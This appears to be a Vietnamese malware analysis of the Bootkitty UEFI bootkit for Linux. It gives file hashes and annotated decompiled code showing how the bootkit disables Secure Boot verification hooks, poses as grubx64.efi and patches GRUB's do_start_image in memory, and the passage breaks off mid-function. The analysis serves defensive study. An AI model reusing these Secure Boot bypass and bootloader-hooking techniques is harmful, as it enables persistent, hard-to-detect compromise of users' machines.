Mục lục- Phân tích Bootkitty: Bootkit UEFI cho hệ điều hành Linux
- Thông tin tệp
-
- Hàm nhập ModuleEntryPoint
-
- Gắn hàm do_start_image
- hook_grub_1_mods__do_start_image_18000EFB0
- do_start_image (hàm mục tiêu)
- hook_grub_f1__do_start_image_18000DE20 (hàm gắn cho do_start_image)
- hook_and_patch_kernel_18000F5C0 (cài đặt gắn cho vmlinuz)
- hook_vmlinuz_decompress_18000DC80 (hàm gắn cho vmlinuz)
- Các hàm liên quan đến vmlinuz
-
- Gắn hàm shim_lock_verifier_init
- hook_grub_f2__shim_lock_verifier_init_18000C8A0
-
- Gắn hàm grub_verifiers_open
- hook_grub_f3__grub_verifiers_open_18000C8B0
- Các thành phần khác
Phân tích Bootkitty: Bootkit UEFI cho hệ điều hành Linux
Tài liệu tham khảo: Bootkitty: Phân tích bootkit UEFI đầu tiên dành cho Linux --- Bootkitty: Analyzing the first UEFI bootkit for Linux
Thông tin tệp
PE64
Hệ điều hành: UEFI[AMD64, 64 bit, DLL]
Trình liên kết: Microsoft Linker(14.36.34123)
Trình biên dịch: Microsoft Visual C/C++(19.36.34123)[LTCG/C]
Ngôn ngữ lập trình: C
Công cụ phát triển: Visual Studio(2022, v17.6)
Chữ ký: Windows Authenticode(2.0)[PKCS #7]
Dữ liệu gỡ lỗi: Binary[Vị trí=0x00014c28,Kích thước=0x4c]
Dữ liệu gỡ lỗi: Liên kết tệp PDB(7.0)
Dữ liệu bổ sung: Binary[Vị trí=0x00017600,Kích thước=0x0630]
Chứng chỉ: WinAuth(2.0)[PKCS #7]
sha1: 35adf3aed60440da7b80f3c452047079e54364c1
Đường dẫn PDB: D:\Projects\Bootkitty-Linux\x64\Release\BootKit.pdb
Dựa trên các hằng số được nhúng sẵn trong mã, có thể suy đoán môi trường thử nghiệm là Ubuntu 24.04 (Noble),
grubx64.efi sha1: 3d07ee5990cea2e3253e2ca43060cbb0c5d3ca03 vmlinuz sha1: 11fa787e8af15392b2107e64562de00bf9469079
- Hàm nhập ModuleEntryPoint =======================
Quy trình thực hiện như sau:
- Kiểm tra xem UEFI Secure Boot đã được kích hoạt chưa (lấy biến "SecureBoot")
- Gắn hàm FileAuthentication của giao thức _EFI_SECURITY2_ARCH_PROTOCOL
- Gắn hàm FileAuthenticationState của giao thức _EFI_SECURITY_ARCH_PROTOCOL
- Tải grubx64-real.efi (tệp gốc được lưu trữ riêng biệt, trong khi bản thân nó giả mạo tên grubx64.efi)
- Gắn các hàm nội bộ của grub là do_start_image
Trong quá trình hook_do_start_image tiếp tục gắn kernel vmlinuz 6. Gắn hàm nội bộ của grub là shim_lock_verifier_init 7. Gắn hàm nội bộ của grub là grub_verifiers_open
Tương ứng với hình ảnh sau bước (5)
Trích dẫn: Bootkitty: Phân tích bootkit UEFI đầu tiên dành cho Linux --- Bootkitty: Analyzing the first UEFI bootkit for Linux
EFI_STATUS __fastcall ModuleEntryPoint(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable)
{
// [KHAI BÁO BIẾN CỤC BỘ ĐÃ RÚT GỌN. NHẤN CTRL-"+" TRÊN BÀN PHÍM ĐỂ MỞ RỘNG]
local_flags_180018176 = ::flags_180018176;
parent_image_handle = ImageHandle;
if ( (::flags_180018176 & 1) != 0 && !ImageHandle && !event_flag_18001817B )
{
ascii_print_180006A50(
buffer_start,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
debug_string,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\UefiBootServicesTableLib\\UefiBootServicesTableLib.c"),
0x2Di64,
COERCE_DOUBLE("gImageHandle != ((void *) 0)"));
if ( gST )
{
console_output = gST->ConOut;
if ( console_output )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output->OutputString)(console_output, buffer_start);
}
local_flags_180018176 = ::flags_180018176;
if ( (::flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (::flags_180018176 & 0x20) != 0 )
{
secure_boot_variable = 0i64;
while ( 1 )
;
}
}
::SystemTable = SystemTable;
if ( (local_flags_180018176 & 1) != 0 && !SystemTable && !event_flag_18001817B )
{
ascii_print_180006A50(
buffer_start,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
debug_string,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\UefiBootServicesTableLib\\UefiBootServicesTableLib.c"),
0x33i64,
COERCE_DOUBLE("gST != ((void *) 0)"));
if ( gST )
{
console_output_1 = gST->ConOut;
if ( console_output_1 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_1->OutputString)(
console_output_1,
buffer_start);
}
local_flags_180018176 = ::flags_180018176;
if ( (::flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (::flags_180018176 & 0x20) != 0 )
{
secure_boot_variable = 0i64;
while ( 1 )
;
}
}
boot_services = SystemTable->BootServices;
gBS = boot_services;
if ( (local_flags_180018176 & 1) != 0 && !boot_services && !event_flag_18001817B )
{
ascii_print_180006A50(
buffer_start,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
debug_string,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\UefiBootServicesTableLib\\UefiBootServicesTableLib.c"),
0x39i64,
COERCE_DOUBLE("gBS != ((void *) 0)"));
if ( gST )
{
console_output_2 = gST->ConOut;
if ( console_output_2 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_2->OutputString)(
console_output_2,
buffer_start);
}
local_flags_180018176 = ::flags_180018176;
if ( (::flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (::flags_180018176 & 0x20) != 0 )
{
secure_boot_variable = 0i64;
while ( 1 )
;
}
}
runtime_services = SystemTable->RuntimeServices;
gRT = runtime_services;
if ( (local_flags_180018176 & 1) != 0 && !runtime_services && !event_flag_18001817B )
{
ascii_print_180006A50(
buffer_start_1,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
debug_string,
COERCE_DOUBLE(
"D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\UefiRuntimeServicesTableLib\\UefiRuntimeServicesTableLib.c"),
0x29i64,
COERCE_DOUBLE("gRT != ((void *) 0)"));
if ( gST )
{
console_output_3 = gST->ConOut;
if ( console_output_3 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_3->OutputString)(
console_output_3,
buffer_start_1);
}
if ( (::flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (::flags_180018176 & 0x20) != 0 )
{
secure_boot_variable = 0i64;
while ( 1 )
;
}
}
status_result = gBS->LocateProtocol(
&EFI_DEVICE_PATH_UTILITIES_PROTOCOL_GUID,
0i64,
(void **)&gEfiDevicePathUtilitiesProtocol);// gBS->LocateProtocol()
// EFI_STATUS(EFIAPI * EFI_LOCATE_PROTOCOL) (IN EFI_GUID *Protocol, IN VOID *Registration, OPTIONAL OUT VOID **Interface)
// Protocol Cung cấp giao thức cần tìm kiếm.
// Registration Khóa đăng ký tùy chọn được trả về từ RegisterProtocolNotify().
// Interface Khi trả về, con trỏ đến giao diện đầu tiên phù hợp với Protocol và Registration.
local_flags_180018176_1 = ::flags_180018176;
if ( (::flags_180018176 & 1) != 0 )
{
if ( status_result < 0 )
{
if ( (::flags_180018176 & 2) != 0 )
{
sub_18000AF78(0x80000000i64, "\nASSERT_EFI_ERROR (Status = %r)\n", status_result);
local_flags_180018176_1 = ::flags_180018176;
}
if ( !event_flag_18001817B )
{
ascii_print_180006A50(
buffer_start_1,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
debug_string,
COERCE_DOUBLE(
"D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\UefiDevicePathLibDevicePathProtocol\\UefiDevicePathLib.c"),
0x43i64,
COERCE_DOUBLE("!EFI_ERROR (Status)"));
if ( gST )
{
console_output_4 = gST->ConOut;
if ( console_output_4 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_4->OutputString)(
console_output_4,
buffer_start_1);
}
local_flags_180018176_1 = ::flags_180018176;
if ( (::flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (::flags_180018176 & 0x20) != 0 )
{
secure_boot_variable = 0i64;
while ( 1 )
;
}
}
}
if ( (local_flags_180018176_1 & 1) != 0 && !gEfiDevicePathUtilitiesProtocol && !event_flag_18001817B )
{
ascii_print_180006A50(
buffer_start,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
debug_string,
COERCE_DOUBLE(
"D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\UefiDevicePathLibDevicePathProtocol\\UefiDevicePathLib.c"),
0x44i64,
COERCE_DOUBLE("mDevicePathLibDevicePathUtilities != ((void *) 0)"));
if ( gST )
{
console_output_5 = gST->ConOut;
if ( console_output_5 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_5->OutputString)(
console_output_5,
buffer_start);
}
if ( (::flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (::flags_180018176 & 0x20) != 0 )
{
secure_boot_variable = 0i64;
while ( 1 )
;
}
}
}
status = gBS->LocateProtocol(&EFI_HII_STRING_PROTOCOL_GUID, 0i64, (void **)&gEfiHiiStringProtocol);// gBS->LocateProtocol()
// EFI_STATUS(EFIAPI * EFI_LOCATE_PROTOCOL) (IN EFI_GUID *Protocol, IN VOID *Registration, OPTIONAL OUT VOID **Interface)
// Protocol Cung cấp giao thức cần tìm kiếm.
// Registration Khóa đăng ký tùy chọn được trả về từ RegisterProtocolNotify().
// Interface Khi trả về, con trỏ đến giao diện đầu tiên phù hợp với Protocol và Registration.
if ( (::flags_180018176 & 1) != 0 && status < 0 )
{
if ( (::flags_180018176 & 2) != 0 )
sub_18000AF78(0x80000000i64, "\nASSERT_EFI_ERROR (Status = %r)\n", status);
if ( !event_flag_18001817B )
{
ascii_print_180006A50(
buffer_start_1,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
debug_string,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdeModulePkg\\Library\\UefiHiiServicesLib\\UefiHiiServicesLib.c"),
0x52i64,
COERCE_DOUBLE("!EFI_ERROR (Status)"));
if ( gST )
{
console_output_6 = gST->ConOut;
if ( console_output_6 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_6->OutputString)(
console_output_6,
buffer_start_1);
}
if ( (::flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (::flags_180018176 & 0x20) != 0 )
{
secure_boot_variable = 0i64;
while ( 1 )
;
}
}
}
status_1 = gBS->LocateProtocol(&EFI_HII_DATABASE_PROTOCOL_GUID, 0i64, (void **)&gEfiHiiDatabaseProtocol);// gBS->LocateProtocol()
// EFI_STATUS(EFIAPI * EFI_LOCATE_PROTOCOL) (IN EFI_GUID *Protocol, IN VOID *Registration, OPTIONAL OUT VOID **Interface)
// Protocol Cung cấp giao thức cần tìm kiếm.
// Registration Khóa đăng ký tùy chọn được trả về từ RegisterProtocolNotify().
// Interface Khi trả về, con trỏ đến giao diện đầu tiên phù hợp với Protocol và Registration.
if ( (::flags_180018176 & 1) != 0 && status_1 < 0 )
{
if ( (::flags_180018176 & 2) != 0 )
sub_18000AF78(0x80000000i64, "\nASSERT_EFI_ERROR (Status = %r)\n", status_1);
if ( !event_flag_18001817B )
{
ascii_print_180006A50(
buffer_start_1,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
debug_string,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdeModulePkg\\Library\\UefiHiiServicesLib\\UefiHiiServicesLib.c"),
0x58i64,
COERCE_DOUBLE("!EFI_ERROR (Status)"));
if ( gST )
{
console_output_7 = gST->ConOut;
if ( console_output_7 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_7->OutputString)(
console_output_7,
buffer_start_1);
}
if ( (::flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (::flags_180018176 & 0x20) != 0 )
{
secure_boot_variable = 0i64;
while ( 1 )
;
}
}
}
status_2 = gBS->LocateProtocol(&EFI_HII_CONFIG_ROUTING_PROTOCOL_GUID, 0i64, (void **)&gEfiHiiConfigRoutingProtocol);// gBS->LocateProtocol()
// EFI_STATUS(EFIAPI * EFI_LOCATE_PROTOCOL) (IN EFI_GUID *Protocol, IN VOID *Registration, OPTIONAL OUT VOID **Interface)
// Protocol Cung cấp giao thức cần tìm kiếm.
// Registration Khóa đăng ký tùy chọn được trả về từ RegisterProtocolNotify().
// Interface Khi trả về, con trỏ đến giao diện đầu tiên phù hợp với Protocol và Registration.
if ( (::flags_180018176 & 1) != 0 && status_2 < 0 )
{
if ( (::flags_180018176 & 2) != 0 )
sub_18000AF78(0x80000000i64, "\nASSERT_EFI_ERROR (Status = %r)\n", status_2);
if ( !event_flag_18001817B )
{
ascii_print_180006A50(
buffer_start_1,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
debug_string,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdeModulePkg\\Library\\UefiHiiServicesLib\\UefiHiiServicesLib.c"),
0x5Ei64,
COERCE_DOUBLE("!EFI_ERROR (Status)"));
if ( gST )
{
console_output_8 = gST->ConOut;
if ( console_output_8 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_8->OutputString)(
console_output_8,
buffer_start_1);
}
if ( (::flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (::flags_180018176 & 0x20) != 0 )
{
secure_boot_variable = 0i64;
while ( 1 )
;
}
}
}
gBS->LocateProtocol(&EFI_HII_FONT_PROTOCOL_GUID, 0i64, (void **)&gEfiHiiFontProtocol);// gBS->LocateProtocol()
// EFI_STATUS(EFIAPI * EFI_LOCATE_PROTOCOL) (IN EFI_GUID *Protocol, IN VOID *Registration, OPTIONAL OUT VOID **Interface)
// Protocol Cung cấp giao thức cần tìm kiếm.
// Registration Khóa đăng ký tùy chọn được trả về từ RegisterProtocolNotify().
// Interface Khi trả về, con trỏ đến giao diện đầu tiên phù hợp với Protocol và Registration.
gBS->LocateProtocol(&EFI_HII_IMAGE_PROTOCOL_GUID, 0i64, (void **)&gEfiHiiImageProtocol);// EFI_BOOT_SERVICES *gBS
// gBS->LocateProtocol()
// EFI_STATUS(EFIAPI * EFI_LOCATE_PROTOCOL) (IN EFI_GUID *Protocol, IN VOID *Registration, OPTIONAL OUT VOID **Interface)
// Protocol Cung cấp giao thức cần tìm kiếm.
// Registration Khóa đăng ký tùy chọn được trả về từ RegisterProtocolNotify().
// Interface Khi trả về, con trỏ đến giao diện đầu tiên phù hợp với Protocol và Registration.
loaded_image_ptr = (EFI_LOADED_IMAGE_PROTOCOL *)1;
// Kiểm tra xem UEFI Secure Boot đã được bật chưa
if ( !((__int64 (__fastcall *)(const wchar_t *, EFI_GUID *, _QWORD, EFI_LOADED_IMAGE_PROTOCOL **, EFI_LOADED_IMAGE_PROTOCOL **))::SystemTable->RuntimeServices->GetVariable)(
L"SecureBoot",
&EFI_SIMPLE_BOOT_FLAG_VARIABLE_GUID,
0i64,
&loaded_image_ptr,
&secure_boot_variable) )
{
if ( (_BYTE)secure_boot_variable )
{
callback_1_18000D8A0 = (void (__fastcall *)())ret_1_18000D8A0;
callback_1_18000D9A0 = (__int64 (__fastcall *)(_QWORD, _QWORD))ret_1_18000D9A0;
callback_0_18000D9B0 = (__int64 (__fastcall *)(_QWORD, _QWORD))ret_0_18000D9B0;
handle = 0i64;
if ( !original_security_FileAuthenticationState_1800181F0 )
{
// ///
// /// Giao thức EFI_SECURITY2_ARCH_PROTOCOL được sử dụng để trừu tượng hóa chính sách nền tảng khỏi
// /// nền tảng DXE. Điều này bao gồm việc đo lường hình ảnh PE/COFF trước khi gọi thực thi, so sánh
// /// hình ảnh với chính sách (dù là danh sách trắng/danh sách đen khóa xác minh hình ảnh công khai
// /// hoặc băm được đăng ký).
// ///
// struct _EFI_SECURITY2_ARCH_PROTOCOL {
// EFI_SECURITY2_FILE_AUTHENTICATION FileAuthentication;
// };
((void (__fastcall *)(EFI_GUID *, _QWORD, EFI_SECURITY2_ARCH_PROTOCOL **))::SystemTable->BootServices->LocateProtocol)(
&EFI_SECURITY2_ARCH_PROTOCOL_GUID,
0i64,
&handle);
// ///
// /// Giao thức EFI_SECURITY_ARCH_PROTOCOL được sử dụng để trừu tượng hóa chính sách nền tảng cụ thể
// /// khỏi lõi DXE. Điều này bao gồm việc khóa flash khi xác thực thất bại,
// /// ghi nhật ký xác nhận, và các hoạt động ngoại lệ khác.
// ///
// struct _EFI_SECURITY_ARCH_PROTOCOL {
// EFI_SECURITY_FILE_AUTHENTICATION_STATE FileAuthenticationState;
// };
if ( !((__int64 (__fastcall *)(EFI_GUID *, _QWORD, EFI_SECURITY_ARCH_PROTOCOL **))::SystemTable->BootServices->LocateProtocol)(
&EFI_SECURITY_ARCH_PROTOCOL_GUID,
0i64,
&security_handle) )
{
if ( handle )
{
original_security2_FileAuthentication_1800181E0 = (__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _DWORD))handle->FileAuthentication;
handle->FileAuthentication = (EFI_SECURITY2_FILE_AUTHENTICATION)hook_security2_FileAuthentication_18000D7E0;
}
original_security_FileAuthenticationState_1800181F0 = (__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD))security_handle->FileAuthenticationState;
security_handle->FileAuthenticationState = (EFI_SECURITY_FILE_AUTHENTICATION_STATE)hook_security_FileAuthenticationState_18000D340;
}
}
}
}
printf_18000857C((__int64)L"Bootkitty's Bootkit\n");
printf_18000857C((__int64)L"- Developed By BlackCat\n");
handle = 0i64;
gBS->HandleProtocol(parent_image_handle, &EFI_LOADED_IMAGE_PROTOCOL_GUID, (void **)&loaded_image_ptr);// gBS->HandleProtocol()
// EFI_STATUS(EFIAPI * EFI_HANDLE_PROTOCOL) (IN EFI_HANDLE Handle, IN EFI_GUID *Protocol, OUT VOID **Interface)
// Handle Xử lý đang được truy vấn.
// Protocol ID duy nhất được xuất bản của giao thức.
// Interface Cung cấp địa chỉ nơi trả về con trỏ đến Giao diện Giao thức tương ứng.
// \\EFI\\ubuntu\\grubx64-real.efi
if ( (find_grubx64_180010630(num_handles, &secure_boot_variable) & 0x8000000000000000ui64) != 0i64 || !secure_boot_variable )
return 0i64;
status_3 = gBS->LoadImage(
1u,
parent_image_handle,
(EFI_DEVICE_PATH_PROTOCOL *)secure_boot_variable,
0i64,
0i64,
(EFI_HANDLE *)&interface_ptr); // gBS->LoadImage()
// EFI_STATUS(EFIAPI * EFI_IMAGE_LOAD) (IN BOOLEAN BootPolicy, IN EFI_HANDLE ParentImageHandle, IN EFI_DEVICE_PATH_PROTOCOL *DevicePath, IN VOID *SourceBuffer OPTIONAL, IN UINTN SourceSize, OUT EFI_HANDLE *ImageHandle)
// BootPolicy Nếu TRUE, cho biết rằng yêu cầu đến từ trình quản lý khởi động, và trình quản lý khởi động đang cố gắng tải FilePath như một lựa chọn khởi động. Bỏ qua nếu SourceBuffer không NULL.
// ParentImageHandle Xử lý hình ảnh của người gọi.
// DevicePath Đường dẫn tệp cụ thể của thiết bị mà từ đó hình ảnh được tải.
// SourceBuffer Nếu không NULL, con trỏ đến vị trí bộ nhớ chứa bản sao của hình ảnh sẽ được tải.
// SourceSize Kích thước tính bằng byte của SourceBuffer. Bỏ qua nếu SourceBuffer là NULL.
// ImageHandle Con trỏ đến xử lý hình ảnh được trả về được tạo khi hình ảnh được tải thành công.
temp_status = status_3 < 0;
if ( !status_3 )
{
gBS->HandleProtocol(interface_ptr, &EFI_LOADED_IMAGE_PROTOCOL_GUID, (void **)&interface_ptr_2);// gBS->HandleProtocol()
// EFI_STATUS(EFIAPI * EFI_HANDLE_PROTOCOL) (IN EFI_HANDLE Handle, IN EFI_GUID *Protocol, OUT VOID **Interface)
// Handle Xử lý đang được truy vấn.
// Protocol ID duy nhất được xuất bản của giao thức.
// Interface Cung cấp địa chỉ nơi trả về con trỏ đến Giao diện Giao thức tương ứng.
// do_start_image
temp_result = hook_grub_1_mods__do_start_image_18000EFB0(interface_ptr_2->ImageBase, interface_ptr_2->ImageSize);
temp_status = temp_result < 0;
if ( !temp_result )
{
// shim_lock_verifier_init
temp_result_2 = hook_grub_2_shim_lock_verifier_init_18000E990(interface_ptr_2->ImageBase, interface_ptr_2->ImageSize);
temp_status = temp_result_2 < 0;
if ( !temp_result_2 )
{
// grub_verifiers_open
temp_result_3 = hook_grub_3__grub_verifiers_open_18000E380(interface_ptr_2->ImageBase, interface_ptr_2->ImageSize);
temp_status = temp_result_3 < 0;
if ( !temp_result_3 )
goto LABEL_95;
}
}
}
if ( !temp_status )
LABEL_95:
gBS->StartImage(interface_ptr, 0i64, 0i64); // gBS->StartImage()
// EFI_STATUS(EFIAPI * EFI_IMAGE_START) (IN EFI_HANDLE ImageHandle, OUT UINTN *ExitDataSize, OUT CHAR16 **ExitData OPTIONAL)
// ImageHandle Xử lý hình ảnh sẽ được bắt đầu.
// ExitDataSize Con trỏ đến kích thước, tính bằng byte, của ExitData.
// ExitData Con trỏ đến con trỏ đến một vùng đệm dữ liệu bao gồm chuỗi Null kết thúc, tùy chọn theo sau bởi dữ liệu nhị phân bổ sung.
return 0i64;
}
- Gắn hàm do_start_image =======================
hook_grub_1_mods__do_start_image_18000EFB0
Tìm kiếm thông qua mẫu nhị phân đã được mã hóa cứng
49 8B 4C 24 40 49 8B 16
Xác định vị trí section mods của grub, sau khi trích xuất mods thì tương ứng với nội dung bên trong hàm do_start_image,
unsigned __int64 __fastcall hook_grub_1_mods__do_start_image_18000EFB0(void *ImageBase, unsigned int ImageSize)
{
// [KHAI BÁO BIẾN CỤC BỘ ĐÃ RÚT GỌN. NHẤN CTRL-"+" TRÊN BÀN PHÍM ĐỂ MỞ RỘNG]
current_ptr = (char *)ImageBase;
if ( !ImageBase )
return 0x8000000000000002ui64;
boundary_ptr = (char *)ImageBase + ImageSize - 8;
if ( ImageBase >= boundary_ptr )
return 0x800000000000000Eui64;
// 49 8B 4C 24 40 49 8B 16
// mods:0000000000110A5C 49 8B 4C 24 40 mov rcx, [r12+40h]
// mods:0000000000110A61 49 8B 16 mov rdx, [r14]
for ( pattern_offset = pattern_180012540 - (_BYTE *)ImageBase; ; --pattern_offset )
{
match_count = 0;
temp_ptr = current_ptr;
do
{
current_byte = temp_ptr[pattern_offset];
if ( current_byte != (char)0xCC && *temp_ptr != current_byte )
break;
++match_count;
++temp_ptr;
}
while ( match_count < 8 );
if ( match_count == 8 )
break;
if ( ++current_ptr >= boundary_ptr )
return 0x800000000000000Eui64;
}
*(_QWORD *)target_address = hook_grub_f1__do_start_image_18000DE20;
original_grub_f1_180018268 = current_ptr;
tpl_value = gBS->RaiseTPL(0x1Fui64); // gBS->RaiseTPL()
// EFI_TPL(EFIAPI * EFI_RAISE_TPL) (IN EFI_TPL NewTpl)
// NewTpl Mức độ ưu tiên tác vụ mới.
local_flags = flags_180018176;
original_function_ptr = original_grub_f1_180018268;
saved_tpl = tpl_value;
if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)backup_original_grub_f1_180018280 < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
buffer,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
debug_param,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x32i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
if ( gST )
{
console_out = gST->ConOut;
if ( console_out )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_out->OutputString)(console_out, buffer);
}
local_flags = flags_180018176;
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( (local_flags & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)original_function_ptr < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
buffer_2,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
debug_param,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x33i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
if ( gST )
{
console_out_2 = gST->ConOut;
if ( console_out_2 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_out_2->OutputString)(console_out_2, buffer_2);
}
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( backup_original_grub_f1_180018280 != original_function_ptr )
memmove_1800064F0(backup_original_grub_f1_180018280, original_function_ptr, 0xCui64);
function_ptr = original_grub_f1_180018268;
cr0_value = _readcr0_();
cr0_write_protect = BYTE2(cr0_value) & 1;
if ( (cr0_value & 0x10000) != 0 )
writecr0_180001010(cr0_value & 0xFFFFFFFFFFFEFFFFui64);
check_flags = flags_180018176;
if ( (flags_180018176 & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)function_ptr < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
buffer_3,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
debug_param,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x32i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
if ( gST )
{
console_out_3 = gST->ConOut;
if ( console_out_3 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_out_3->OutputString)(console_out_3, buffer_3);
}
check_flags = flags_180018176;
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( (check_flags & 1) != 0 && ~(unsigned __int64)jmp_rax_trampoline_180012520 < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
buffer_4,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
debug_param,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x33i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
if ( gST )
{
console_out_4 = gST->ConOut;
if ( console_out_4 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_out_4->OutputString)(console_out_4, buffer_4);
}
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( function_ptr != jmp_rax_trampoline_180012520 )
// .rdata:0000000180012520 48 B8 00 00 00 00 00 00 00 00 mov rax, 0
// .rdata:000000018001252A FF E0 jmp rax
memmove_1800064F0(function_ptr, (char *)jmp_rax_trampoline_180012520, 0xCui64);
if ( cr0_write_protect )
{
cr0_value_2 = _readcr0_();
writecr0_180001010(cr0_value_2 | 0x10000);
}
next_instruction_ptr = original_grub_f1_180018268 + 2;
cr0_value_3 = _readcr0_();
cr0_wp_enabled = BYTE2(cr0_value_3) & 1;
if ( (cr0_value_3 & 0x10000) != 0 )
writecr0_180001010(cr0_value_3 & 0xFFFFFFFFFFFEFFFFui64);
check_flags_2 = flags_180018176;
if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)next_instruction_ptr < 7 && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
buffer_2,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
debug_param,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x32i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
if ( gST )
{
console_out_5 = gST->ConOut;
if ( console_out_5 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_out_5->OutputString)(console_out_5, buffer_2);
}
check_flags_2 = flags_180018176;
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( (check_flags_2 & 1) != 0 && ~(unsigned __int64)target_address < 7 && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
buffer,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
debug_param,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x33i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
if ( gST )
{
console_out_6 = gST->ConOut;
if ( console_out_6 )
